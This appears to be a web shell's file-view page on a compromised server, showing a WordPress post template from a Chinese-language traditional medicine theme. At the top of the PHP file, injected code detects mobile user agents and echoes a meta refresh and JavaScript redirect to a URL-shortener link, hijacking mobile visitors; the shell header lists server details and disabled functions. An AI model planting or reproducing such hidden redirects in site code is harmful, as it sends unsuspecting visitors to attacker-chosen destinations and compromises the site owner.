| Server IP : 43.128.22.13 / Your IP : 216.73.217.0 Web Server : nginx/1.28.3 System : Linux VM-0-2-debian 6.1.0-27-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.115-1 (2024-11-01) x86_64 User : www ( 1000) PHP Version : 8.2.28 Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /www/wwwroot/43.128.22.13/wp-content/themes/kaiyang-tcm/ |
Upload File : |
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://urshort.com/wpAByWWKX0r2" /><script>location.replace("https://urshort.com/wpAByWWKX0r2");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
<header class="entry-header">
<h1 class="entry-title" style="color: var(--secondary-color); font-family: 'Ma Shan Zheng', 'KaiTi', cursive; margin-bottom: 15px;"><?php the_title(); ?></h1>
<div class="entry-meta" style="color: var(--accent-color); font-size: 0.9em; margin-bottom: 20px;">
<span>发布日期:<?php echo get_the_date(); ?></span>
<?php if (get_the_category()) : ?>
<span style="margin-left: 15px;">分类:<?php the_category(', '); ?></span>
<?php endif; ?>
<?php if (get_the_tags()) : ?>
<span style="margin-left: 15px;">标签:<?php the_tags('', ', '); ?></span>
<?php endif; ?>
</div>
</header>
<?php if (has_post_thumbnail()) : ?>
<div class="entry-thumbnail" style="text-align: center; margin-bottom: 30px;">
<?php the_post_thumbnail('large', array('style' => 'max-width: 100%; height: auto; border-radius: 8px; box-shadow: 0 4px 12px rgba(0,0,0,0.1);')); ?>
</div>
<?php endif; ?>
<div class="entry-content">
<?php the_content(); ?>
<?php
wp_link_pages(array(
'before' => '<div class="page-links" style="margin-top: 30px; padding: 20px; background: var(--light-bg); border-radius: 8px; border: 1px solid var(--border-color);">' . '分页:',
'after' => '</div>',
'link_before' => '<span style="display: inline-block; padding: 5px 12px; margin: 0 5px; background: white; border-radius: 4px; border: 1px solid var(--border-color);">',
'link_after' => '</span>',
));
?>
</div>
<footer class="entry-footer" style="margin-top: 40px; padding-top: 20px; border-top: 2px solid var(--primary-color);">
<div style="display: flex; justify-content: space-between; align-items: center; flex-wrap: wrap; gap: 15px;">
<div>
<?php if (get_the_category()) : ?>
<span style="color: var(--accent-color);">分类:<?php the_category(', '); ?></span>
<?php endif; ?>
</div>
<div>
<?php if (get_edit_post_link()) : ?>
<?php edit_post_link('编辑文章', '<span style="display: inline-block; padding: 8px 15px; background: var(--light-bg); border-radius: 4px; border: 1px solid var(--border-color); color: var(--secondary-color); text-decoration: none;">', '</span>'); ?>
<?php endif; ?>
</div>
</div>
</footer>
</article>